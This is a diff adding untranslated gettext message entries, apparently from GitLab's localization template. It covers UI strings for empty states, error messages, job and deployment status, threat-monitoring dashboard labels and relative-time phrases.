+msgid "There are no SSH keys associated with this account."
+msgstr ""
+
+msgid "There are no SSH keys with access to your account."
+msgstr ""
+
+msgid "There are no abuse reports!"
+msgstr ""
+
+msgid "There are no archived projects yet"
+msgstr ""
+
+msgid "There are no archived requirements"
+msgstr ""
+
+msgid "There are no archived test cases"
+msgstr ""
+
+msgid "There are no changes"
+msgstr ""
+
+msgid "There are no charts configured for this page"
+msgstr ""
+
+msgid "There are no closed epics"
+msgstr ""
+
+msgid "There are no closed issues"
+msgstr ""
+
+msgid "There are no closed merge requests"
+msgstr ""
+
+msgid "There are no commits yet."
+msgstr ""
+
+msgid "There are no custom project templates set up for this GitLab instance. They are enabled from GitLab's Admin Area. Contact your GitLab instance administrator to setup custom project templates."
+msgstr ""
+
+msgid "There are no issues to show"
+msgstr ""
+
+msgid "There are no issues with the selected labels"
+msgstr ""
+
+msgid "There are no labels yet"
+msgstr ""
+
+msgid "There are no matching files"
+msgstr ""
+
+msgid "There are no open epics"
+msgstr ""
+
+msgid "There are no open issues"
+msgstr ""
+
+msgid "There are no open merge requests"
+msgstr ""
+
+msgid "There are no open requirements"
+msgstr ""
+
+msgid "There are no open test cases"
+msgstr ""
+
+msgid "There are no packages yet"
+msgstr ""
+
+msgid "There are no projects shared with this group yet"
+msgstr ""
+
+msgid "There are no variables yet."
+msgstr ""
+
+msgid "There are pending advanced search migrations. Indexing must remain paused until the migrations are completed."
+msgstr ""
+
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
+msgid "There is a halted Elasticsearch migration"
+msgstr ""
+
+msgid "There is already a repository with that name on disk"
+msgstr ""
+
+msgid "There is already a to-do item for this design."
+msgstr ""
+
+msgid "There is no chart data available."
+msgstr ""
+
+msgid "There is no data available."
+msgstr ""
+
+msgid "There is no data available. Please change your selection."
+msgstr ""
+
+msgid "There is no table data available."
+msgstr ""
+
+msgid "There is too much data to calculate. Please change your selection."
+msgstr ""
+
+msgid "There was a problem communicating with your device."
+msgstr ""
+
+msgid "There was a problem fetching branches."
+msgstr ""
+
+msgid "There was a problem fetching groups."
+msgstr ""
+
+msgid "There was a problem fetching labels."
+msgstr ""
+
+msgid "There was a problem fetching milestones."
+msgstr ""
+
+msgid "There was a problem fetching project branches."
+msgstr ""
+
+msgid "There was a problem fetching project tags."
+msgstr ""
+
+msgid "There was a problem fetching project users."
+msgstr ""
+
+msgid "There was a problem fetching the keep latest artifacts setting."
+msgstr ""
+
+msgid "There was a problem fetching users."
+msgstr ""
+
+msgid "There was a problem refreshing the data, please try again"
+msgstr ""
+
+msgid "There was a problem saving your custom stage, please try again"
+msgstr ""
+
+msgid "There was a problem sending the confirmation email"
+msgstr ""
+
+msgid "There was a problem updating the keep latest artifacts setting."
+msgstr ""
+
+msgid "There was an error %{message} todo."
+msgstr ""
+
+msgid "There was an error adding a To Do."
+msgstr ""
+
+msgid "There was an error creating the dashboard, branch name is invalid."
+msgstr ""
+
+msgid "There was an error creating the dashboard, branch named: %{branch} already exists."
+msgstr ""
+
+msgid "There was an error creating the issue"
+msgstr ""
+
+msgid "There was an error deleting the To Do."
+msgstr ""
+
+msgid "There was an error fetching configuration for charts"
+msgstr ""
+
+msgid "There was an error fetching data for the selected stage"
+msgstr ""
+
+msgid "There was an error fetching data for the tasks by type chart"
+msgstr ""
+
+msgid "There was an error fetching label data for the selected group"
+msgstr ""
+
+msgid "There was an error fetching median data for stages"
+msgstr ""
+
+msgid "There was an error fetching projects"
+msgstr ""
+
+msgid "There was an error fetching the %{replicableType}"
+msgstr ""
+
+msgid "There was an error fetching the Geo Nodes"
+msgstr ""
+
+msgid "There was an error fetching the Geo Settings"
+msgstr ""
+
+msgid "There was an error fetching the Node's Groups"
+msgstr ""
+
+msgid "There was an error fetching the deploy freezes."
+msgstr ""
+
+msgid "There was an error fetching the environments information."
+msgstr ""
+
+msgid "There was an error fetching the top labels for the selected group"
+msgstr ""
+
+msgid "There was an error fetching the variables."
+msgstr ""
+
+msgid "There was an error fetching value stream analytics stages."
+msgstr ""
+
+msgid "There was an error gathering the chart data"
+msgstr ""
+
+msgid "There was an error getting the epic participants."
+msgstr ""
+
+msgid "There was an error importing the Jira project."
+msgstr ""
+
+msgid "There was an error loading merge request approval settings."
+msgstr ""
+
+msgid "There was an error loading users activity calendar."
+msgstr ""
+
+msgid "There was an error parsing the data for this graph."
+msgstr ""
+
+msgid "There was an error removing the e-mail."
+msgstr ""
+
+msgid "There was an error removing your custom stage, please try again"
+msgstr ""
+
+msgid "There was an error resetting group pipeline minutes."
+msgstr ""
+
+msgid "There was an error resetting user pipeline minutes."
+msgstr ""
+
+msgid "There was an error retrieving the Jira users."
+msgstr ""
+
+msgid "There was an error saving this Geo Node."
+msgstr ""
+
+msgid "There was an error saving your changes."
+msgstr ""
+
+msgid "There was an error subscribing to this label."
+msgstr ""
+
+msgid "There was an error syncing project %{name}"
+msgstr ""
+
+msgid "There was an error syncing the %{replicableType}"
+msgstr ""
+
+msgid "There was an error trying to validate your query"
+msgstr ""
+
+msgid "There was an error updating merge request approval settings."
+msgstr ""
+
+msgid "There was an error updating the Geo Settings"
+msgstr ""
+
+msgid "There was an error updating the Maintenance Mode Settings"
+msgstr ""
+
+msgid "There was an error updating the dashboard, branch name is invalid."
+msgstr ""
+
+msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
+msgstr ""
+
+msgid "There was an error updating the stage order. Please try reloading the page."
+msgstr ""
+
+msgid "There was an error when reseting email token."
+msgstr ""
+
+msgid "There was an error when subscribing to this label."
+msgstr ""
+
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
+msgid "There was an error when unsubscribing from this label."
+msgstr ""
+
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics data."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics duration data."
+msgstr ""
+
+msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
+msgstr ""
+
+msgid "These examples show how to trigger this project's pipeline for a branch or tag."
+msgstr ""
+
+msgid "These existing issues have a similar title. It might be better to comment there instead of creating another similar issue."
+msgstr ""
+
+msgid "These paths are protected for POST requests."
+msgstr ""
+
+msgid "These runners are shared across projects in this group."
+msgstr ""
+
+msgid "These runners are shared across this GitLab instance."
+msgstr ""
+
+msgid "These runners are specific to this project."
+msgstr ""
+
+msgid "These variables are inherited from the parent group."
+msgstr ""
+
+msgid "These will be sent to %{email} in an attachment once finished."
+msgstr ""
+
+msgid "Third Party Advisory Link"
+msgstr ""
+
+msgid "Third party offers"
+msgstr ""
+
+msgid "This %{issuableDisplayName} is locked. Only project members can comment."
+msgstr ""
+
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
+msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
+msgstr ""
+
+msgid "This %{noteableTypeText} is %{confidentialLinkStart}confidential%{linkEnd} and %{lockedLinkStart}locked%{linkEnd}."
+msgstr ""
+
+msgid "This %{noteableTypeText} is locked."
+msgstr ""
+
+msgid "This %{viewer} could not be displayed because %{reason}. You can %{options} instead."
+msgstr ""
+
+msgid "This Cron pattern is invalid"
+msgstr ""
+
+msgid "This GitLab instance does not provide any shared runners yet. Instance administrators can register shared runners in the admin area."
+msgstr ""
+
+msgid "This GitLab instance is licensed at the %{insufficient_license} tier. Geo is only available for users who have at least a Premium license."
+msgstr ""
+
+msgid "This GitLab instance is undergoing maintenance and is operating in read-only mode."
+msgstr ""
+
+msgid "This Project is currently archived and read-only. Please unarchive the project first if you want to resume Pull mirroring"
+msgstr ""
+
+msgid "This URL is already used for another link; duplicate URLs are not allowed"
+msgstr ""
+
+msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
+msgstr ""
+
+msgid "This action cannot be undone, and will permanently delete the %{key} SSH key"
+msgstr ""
+
+msgid "This action cannot be undone. You will lose this project's repository and all related resources, including issues, merge requests, etc."
+msgstr ""
+
+msgid "This action has been performed too many times. Try again later."
+msgstr ""
+
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all related resources, including issues, merge requests, etc."
+msgstr ""
+
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}on %{date}%{strongClose}, including its repositories and all related resources, including issues, merge requests, etc."
+msgstr ""
+
+msgid "This also resolves all related threads"
+msgstr ""
+
+msgid "This also resolves this thread"
+msgstr ""
+
+msgid "This application was created by %{link_to_owner}."
+msgstr ""
+
+msgid "This application will be able to:"
+msgstr ""
+
+msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{count} %{issuables} have been included. Consider re-exporting with a narrower selection of %{issuables}."
+msgstr ""
+
+msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{issues_count} issues have been included. Consider re-exporting with a narrower selection of issues."
+msgstr ""
+
+msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{merge_requests_count} merge requests have been included. Consider re-exporting with a narrower selection of merge requests."
+msgstr ""
+
+msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{requirements_count} requirements have been included. Consider re-exporting with a narrower selection of requirements."
+msgstr ""
+
+msgid "This block is self-referential"
+msgstr ""
+
+msgid "This board's scope is reduced"
+msgstr ""
+
+msgid "This chart could not be displayed"
+msgstr ""
+
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
+
+msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
+msgstr ""
+
+msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
+msgstr ""
+
+msgid "This commit was signed with a different user's verified signature."
+msgstr ""
+
+msgid "This commit was signed with a verified signature, but the committer email is %{strong_open}not verified%{strong_close} to belong to the same user."
+msgstr ""
+
+msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
+msgstr ""
+
+msgid "This content could not be displayed because %{reason}. You can %{options} instead."
+msgstr ""
+
+msgid "This credential has expired"
+msgstr ""
+
+msgid "This date is after the due date, so this epic won't appear in the roadmap."
+msgstr ""
+
+msgid "This date is before the start date, so this epic won't appear in the roadmap."
+msgstr ""
+
+msgid "This device has already been registered with us."
+msgstr ""
+
+msgid "This device has not been registered with us."
+msgstr ""
+
+msgid "This diff is collapsed."
+msgstr ""
+
+msgid "This diff was suppressed by a .gitattributes entry."
+msgstr ""
+
+msgid "This directory"
+msgstr ""
+
+msgid "This domain is not verified. You will need to verify ownership before access is enabled."
+msgstr ""
+
+msgid "This endpoint has been requested too many times. Try again later."
+msgstr ""
+
+msgid "This environment has no deployments yet."
+msgstr ""
+
+msgid "This environment is being deployed"
+msgstr ""
+
+msgid "This environment is being re-deployed"
+msgstr ""
+
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
+msgid "This epic already has the maximum number of child epics."
+msgstr ""
+
+msgid "This epic does not exist or you don't have sufficient permission."
+msgstr ""
+
+msgid "This feature requires local storage to be enabled"
+msgstr ""
+
+msgid "This feature should be used with an index that was created after 13.0"
+msgstr ""
+
+msgid "This field is required."
+msgstr ""
+
+msgid "This graph has a large number of jobs and showing the links between them may have performance implications."
+msgstr ""
+
+msgid "This group"
+msgstr ""
+
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
+msgid "This group cannot be invited to a project inside a group with enforced SSO"
+msgstr ""
+
+msgid "This group does not have any group runners yet."
+msgstr ""
+
+msgid "This group has been scheduled for permanent removal on %{date}"
+msgstr ""
+
+msgid "This group is linked to a subscription"
+msgstr ""
+
+msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
+msgstr ""
+
+msgid "This group, its subgroups and projects has been scheduled for removal on %{date}."
+msgstr ""
+
+msgid "This group, its subgroups and projects will be removed on %{date} since its parent group '%{parent_group_name}'' has been scheduled for removal."
+msgstr ""
+
+msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
+msgstr ""
+
+msgid "This is a Jira user."
+msgstr ""
+
+msgid "This is a Premium feature"
+msgstr ""
+
+msgid "This is a confidential %{noteableTypeText}."
+msgstr ""
+
+msgid "This is a delayed job to run in %{remainingTime}"
+msgstr ""
+
+msgid "This is a list of devices that have logged into your account. Revoke any sessions that you do not recognize."
+msgstr ""
+
+msgid "This is a merge train pipeline"
+msgstr ""
+
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgstr ""
+
+msgid "This is a security log of important events involving your account."
+msgstr ""
+
+msgid "This is a self-managed instance of GitLab."
+msgstr ""
+
+msgid "This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "This is your current session"
+msgstr ""
+
+msgid "This issue is currently blocked by the following issues:"
+msgstr ""
+
+msgid "This issue is in a child epic of the filtered epic"
+msgstr ""
+
+msgid "This job depends on other jobs with expired/erased artifacts: %{invalid_dependencies}"
+msgstr ""
+
+msgid "This job depends on upstream jobs that need to succeed in order for this job to be triggered"
+msgstr ""
+
+msgid "This job does not have a trace."
+msgstr ""
+
+msgid "This job has been canceled"
+msgstr ""
+
+msgid "This job has been skipped"
+msgstr ""
+
+msgid "This job has not been triggered yet"
+msgstr ""
+
+msgid "This job has not started yet"
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is archived. Only the complete pipeline can be retried."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is deployed to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
+msgstr ""
+
+msgid "This job is deployed to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is deployed to %{environmentLink}."
+msgstr ""
+
+msgid "This job is in pending state and is waiting to be picked by a runner"
+msgstr ""
+
+msgid "This job is performing tasks that must complete before it can start"
+msgstr ""
+
+msgid "This job is preparing to start"
+msgstr ""
+
+msgid "This job is waiting for resource: "
+msgstr ""
+
+msgid "This job requires a manual action"
+msgstr ""
+
+msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
+msgstr ""
+
+msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
+msgstr ""
+
+msgid "This license has already expired."
+msgstr ""
+
+msgid "This link points to external content"
+msgstr ""
+
+msgid "This may expose confidential information as the selected fork is in another namespace that can have other members."
+msgstr ""
+
+msgid "This means you can not push code until you create an empty repository or import existing one."
+msgstr ""
+
+msgid "This merge request cannot be rebased while there are conflicts."
+msgstr ""
+
+msgid "This merge request does not have accessibility reports"
+msgstr ""
+
+msgid "This merge request does not have codequality reports"
+msgstr ""
+
+msgid "This merge request is closed. To apply this suggestion, edit this file directly."
+msgstr ""
+
+msgid "This merge request is from a private project to a public project."
+msgstr ""
+
+msgid "This merge request is from a private project to an internal project."
+msgstr ""
+
+msgid "This merge request is from an internal project to a public project."
+msgstr ""
+
+msgid "This merge request is locked."
+msgstr ""
+
+msgid "This merge request is still a draft."
+msgstr ""
+
+msgid "This merge request was merged. To apply this suggestion, edit this file directly."
+msgstr ""
+
+msgid "This namespace has already been taken! Please choose another one."
+msgstr ""
+
+msgid "This only applies to repository indexing operations."
+msgstr ""
+
+msgid "This option is only available on GitLab.com"
+msgstr ""
+
+msgid "This page is unavailable because you are not allowed to read information across multiple projects."
+msgstr ""
+
+msgid "This page sends a payload. Go back to the events page to see a newly created event."
+msgstr ""
+
+msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
+msgstr ""
+
+msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{strongStart}Auto DevOps.%{strongEnd}"
+msgstr ""
+
+msgid "This pipeline was triggered by a schedule."
+msgstr ""
+
+msgid "This project"
+msgstr ""
+
+msgid "This project does not belong to a group and cannot make use of group runners."
+msgstr ""
+
+msgid "This project does not have %{service_desk_link_start}Service Desk%{service_desk_link_end} enabled, so the user who created the issue will no longer receive email notifications about new activity."
+msgstr ""
+
+msgid "This project does not have a wiki homepage yet"
+msgstr ""
+
+msgid "This project has no active access tokens."
+msgstr ""
+
+msgid "This project is archived and cannot be commented on."
+msgstr ""
+
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
+msgid "This project path either does not exist or you do not have access."
+msgstr ""
+
+msgid "This project will be removed on %{date}"
+msgstr ""
+
+msgid "This project will be removed on %{date} since its parent group '%{parent_group_name}' has been scheduled for removal."
+msgstr ""
+
+msgid "This project will live in your group %{strong_open}%{namespace}%{strong_close}. A project is where you house your files (repository), plan your work (issues), publish your documentation (wiki), and so much more."
+msgstr ""
+
+msgid "This repository"
+msgstr ""
+
+msgid "This repository has never been checked."
+msgstr ""
+
+msgid "This repository is currently empty. A new Auto DevOps pipeline will be created after a new file has been pushed to a branch."
+msgstr ""
+
+msgid "This repository was last checked %{last_check_timestamp}. The check %{strong_start}failed.%{strong_end} See the 'repocheck.log' file for error messages."
+msgstr ""
+
+msgid "This repository was last checked %{last_check_timestamp}. The check passed."
+msgstr ""
+
+msgid "This runner processes jobs for all projects in its group and subgroups."
+msgstr ""
+
+msgid "This runner processes jobs for all unassigned projects."
+msgstr ""
+
+msgid "This runner processes jobs for assigned projects only."
+msgstr ""
+
+msgid "This runner will only run on pipelines triggered on protected branches"
+msgstr ""
+
+msgid "This service allows users to perform common operations on this project by entering slash commands in Slack."
+msgstr ""
+
+msgid "This setting can be overridden in each project."
+msgstr ""
+
+msgid "This setting will update the hostname that is used to generate private commit emails. %{learn_more}"
+msgstr ""
+
+msgid "This subscription is for"
+msgstr ""
+
+msgid "This suggestion already matches its content."
+msgstr ""
+
+msgid "This user cannot be unlocked manually from GitLab"
+msgstr ""
+
+msgid "This user does not have a pending request"
+msgstr ""
+
+msgid "This user has no active %{type}."
+msgstr ""
+
+msgid "This user has no identities"
+msgstr ""
+
+msgid "This user has previously committed to the %{name} project."
+msgstr ""
+
+msgid "This user has the %{access} role in the %{name} project."
+msgstr ""
+
+msgid "This user is the author of this %{noteable}."
+msgstr ""
+
+msgid "This variable can not be masked."
+msgstr ""
+
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "This will redirect you to an external sign in page."
+msgstr ""
+
+msgid "This will remove the fork relationship between this project and %{fork_source}."
+msgstr ""
+
+msgid "This will remove the fork relationship between this project and other projects in the fork network."
+msgstr ""
+
+msgid "Thread to reply to cannot be found"
+msgstr ""
+
+msgid "Threat Monitoring"
+msgstr ""
+
+msgid "ThreatMonitoring|Alert Details"
+msgstr ""
+
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
+msgid "ThreatMonitoring|All Environments"
+msgstr ""
+
+msgid "ThreatMonitoring|Anomalous Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|Application firewall not detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
+msgstr ""
+
+msgid "ThreatMonitoring|Container Network Policy"
+msgstr ""
+
+msgid "ThreatMonitoring|Container NetworkPolicies not detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Date and time"
+msgstr ""
+
+msgid "ThreatMonitoring|Dismissed"
+msgstr ""
+
+msgid "ThreatMonitoring|Dropped Packets"
+msgstr ""
+
+msgid "ThreatMonitoring|Environment"
+msgstr ""
+
+msgid "ThreatMonitoring|Events"
+msgstr ""
+
+msgid "ThreatMonitoring|Hide dismissed alerts"
+msgstr ""
+
+msgid "ThreatMonitoring|In review"
+msgstr ""
+
+msgid "ThreatMonitoring|Name"
+msgstr ""
+
+msgid "ThreatMonitoring|No alerts available to display. See %{linkStart}enabling threat alerts%{linkEnd} for more information on adding alerts to the list."
+msgstr ""
+
+msgid "ThreatMonitoring|No alerts to display."
+msgstr ""
+
+msgid "ThreatMonitoring|No environments detected"
+msgstr ""
+
+msgid "ThreatMonitoring|Operations Per Second"
+msgstr ""
+
+msgid "ThreatMonitoring|Packet Activity"
+msgstr ""
+
+msgid "ThreatMonitoring|Policies"
+msgstr ""
+
+msgid "ThreatMonitoring|Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|Resolved"
+msgstr ""
+
+msgid "ThreatMonitoring|Show last"
+msgstr ""
+
+msgid "ThreatMonitoring|Something went wrong, unable to fetch environments"
+msgstr ""
+
+msgid "ThreatMonitoring|Something went wrong, unable to fetch statistics"
+msgstr ""
+
+msgid "ThreatMonitoring|Statistics"
+msgstr ""
+
+msgid "ThreatMonitoring|Status"
+msgstr ""
+
+msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
+msgstr ""
+
+msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
+msgstr ""
+
+msgid "ThreatMonitoring|There was an error while updating the status of the alert. Please try again."
+msgstr ""
+
+msgid "ThreatMonitoring|Threat Monitoring"
+msgstr ""
+
+msgid "ThreatMonitoring|Threat Monitoring help page link"
+msgstr ""
+
+msgid "ThreatMonitoring|Time"
+msgstr ""
+
+msgid "ThreatMonitoring|To view this data, ensure you have configured an environment for this project and that at least one threat monitoring feature is enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ThreatMonitoring|Total Packets"
+msgstr ""
+
+msgid "ThreatMonitoring|Total Requests"
+msgstr ""
+
+msgid "ThreatMonitoring|Unreviewed"
+msgstr ""
+
+msgid "ThreatMonitoring|View documentation"
+msgstr ""
+
+msgid "ThreatMonitoring|Web Application Firewall"
+msgstr ""
+
+msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
+msgstr ""
+
+msgid "Throughput"
+msgstr ""
+
+msgid "Thursday"
+msgstr ""
+
+msgid "Time"
+msgstr ""
+
+msgid "Time based: Yes"
+msgstr ""
+
+msgid "Time before an issue gets scheduled"
+msgstr ""
+
+msgid "Time before an issue starts implementation"
+msgstr ""
+
+msgid "Time before enforced"
+msgstr ""
+
+msgid "Time between merge request creation and merge/close"
+msgstr ""
+
+msgid "Time estimate"
+msgstr ""
+
+msgid "Time from first comment to last commit"
+msgstr ""
+
+msgid "Time from first commit until first comment"
+msgstr ""
+
+msgid "Time from last commit to merge"
+msgstr ""
+
+msgid "Time in seconds"
+msgstr ""
+
+msgid "Time in seconds GitLab will wait for a response from the external service. When the service does not respond in time, access will be denied."
+msgstr ""
+
+msgid "Time of import: %{importTime}"
+msgstr ""
+
+msgid "Time remaining"
+msgstr ""
+
+msgid "Time spent"
+msgstr ""
+
+msgid "Time to merge"
+msgstr ""
+
+msgid "Time to subtract exceeds the total time spent"
+msgstr ""
+
+msgid "Time tracking"
+msgstr ""
+
+msgid "Time until first merge request"
+msgstr ""
+
+msgid "TimeTrackingEstimated|Est"
+msgstr ""
+
+msgid "TimeTracking|%{startTag}Spent: %{endTag}%{timeSpentHumanReadable}"
+msgstr ""
+
+msgid "TimeTracking|Estimated:"
+msgstr ""
+
+msgid "TimeTracking|Over by %{timeRemainingHumanReadable}"
+msgstr ""
+
+msgid "TimeTracking|Spent"
+msgstr ""
+
+msgid "TimeTracking|Time remaining: %{timeRemainingHumanReadable}"
+msgstr ""
+
+msgid "Timeago|%s days ago"
+msgstr ""
+
+msgid "Timeago|%s days remaining"
+msgstr ""
+
+msgid "Timeago|%s hours ago"
+msgstr ""
+
+msgid "Timeago|%s hours remaining"
+msgstr ""
+
+msgid "Timeago|%s minutes ago"
+msgstr ""
+
+msgid "Timeago|%s minutes remaining"
+msgstr ""
+
+msgid "Timeago|%s months ago"
+msgstr ""
+
+msgid "Timeago|%s months remaining"
+msgstr ""
+
+msgid "Timeago|%s seconds remaining"
+msgstr ""
+
+msgid "Timeago|%s weeks ago"
+msgstr ""
+
+msgid "Timeago|%s weeks remaining"
+msgstr ""
+
+msgid "Timeago|%s years ago"
+msgstr ""
+
+msgid "Timeago|%s years remaining"
+msgstr ""
+
+msgid "Timeago|1 day ago"
+msgstr ""
+
+msgid "Timeago|1 day remaining"
+msgstr ""
+
+msgid "Timeago|1 hour ago"
+msgstr ""
+
+msgid "Timeago|1 hour remaining"
+msgstr ""
+
+msgid "Timeago|1 minute ago"
+msgstr ""
+
+msgid "Timeago|1 minute remaining"
+msgstr ""
+
+msgid "Timeago|1 month ago"
+msgstr ""
+
+msgid "Timeago|1 month remaining"
+msgstr ""
+
+msgid "Timeago|1 week ago"
+msgstr ""
+
+msgid "Timeago|1 week remaining"
+msgstr ""
+
+msgid "Timeago|1 year ago"
+msgstr ""
+
+msgid "Timeago|1 year remaining"
+msgstr ""
+
+msgid "Timeago|Past due"
+msgstr ""
+
+msgid "Timeago|in %s days"
+msgstr ""
+
+msgid "Timeago|in %s hours"
+msgstr ""
+
+msgid "Timeago|in %s minutes"
+msgstr ""
+
+msgid "Timeago|in %s months"
+msgstr ""
+
+msgid "Timeago|in %s seconds"
+msgstr ""
+
+msgid "Timeago|in %s weeks"
+msgstr ""
+
+msgid "Timeago|in %s years"
+msgstr ""
+
+msgid "Timeago|in 1 day"
+msgstr ""
+
+msgid "Timeago|in 1 hour"
+msgstr ""
+
+msgid "Timeago|in 1 minute"
+msgstr ""
+
+msgid "Timeago|in 1 month"
+msgstr ""
+
+msgid "Timeago|in 1 week"
+msgstr ""
+
+msgid "Timeago|in 1 year"
+msgstr ""
+
+msgid "Timeago|just now"
+msgstr ""
+
+msgid "Timeago|right now"
+msgstr ""
+
+msgid "Timeline|Turn timeline view off"
+msgstr ""
+
+msgid "Timeline|Turn timeline view on"
+msgstr ""
+
+msgid "Timeout"
+msgstr ""
+
+msgid "Timeout connecting to the Google API. Please try again."
+msgstr ""
+
+msgid "Timezone"
+msgstr ""
+
+msgid "Time|hr"
+msgid_plural "Time|hrs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Time|min"
+msgid_plural "Time|mins"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Time|s"
+msgstr ""
+
+msgid "Tip:"
+msgstr ""
+
+msgid "Tip: add a"
+msgstr ""
+
+msgid "Tip: add a %{linkStart}CODEOWNERS%{linkEnd} to automatically add approvers based on file paths and file types."
+msgstr ""
+
+msgid "Title"
+msgstr ""
+
+msgid "Title:"
+msgstr ""
+
+msgid "Titles and Descriptions"
+msgstr ""
+
+msgid "To"
+msgstr ""
+
+msgid "To %{link_to_help} of your domain, add the above key to a TXT record within your DNS configuration."
+msgstr ""
+
+msgid "To Do"
+msgstr ""
+
+msgid "To GitLab"
+msgstr ""
+
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
+msgid "To access this domain create a new DNS record"
+msgstr ""
+
+msgid "To add an SSH key you need to %{generate_link_start}generate one%{link_end} or use an %{existing_link_start}existing key%{link_end}."
+msgstr ""
+
+msgid "To add the entry manually, provide the following details to the application on your phone."
+msgstr ""
+
+msgid "To confirm, type %{phrase_code}"
+msgstr ""
+
+msgid "To connect GitHub repositories, you can use a %{personal_access_token_link}. When you create your Personal Access Token, you will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to connect."
+msgstr ""
+
+msgid "To connect GitHub repositories, you first need to authorize GitLab to access the list of your GitHub repositories."
+msgstr ""
+
+msgid "To connect GitHub repositories, you first need to authorize GitLab to access the list of your GitHub repositories:"
+msgstr ""
+
+msgid "To connect an SVN repository, check out %{svn_link}."
+msgstr ""
+
+msgid "To define internal users, first enable new users set to external"
+msgstr ""
+
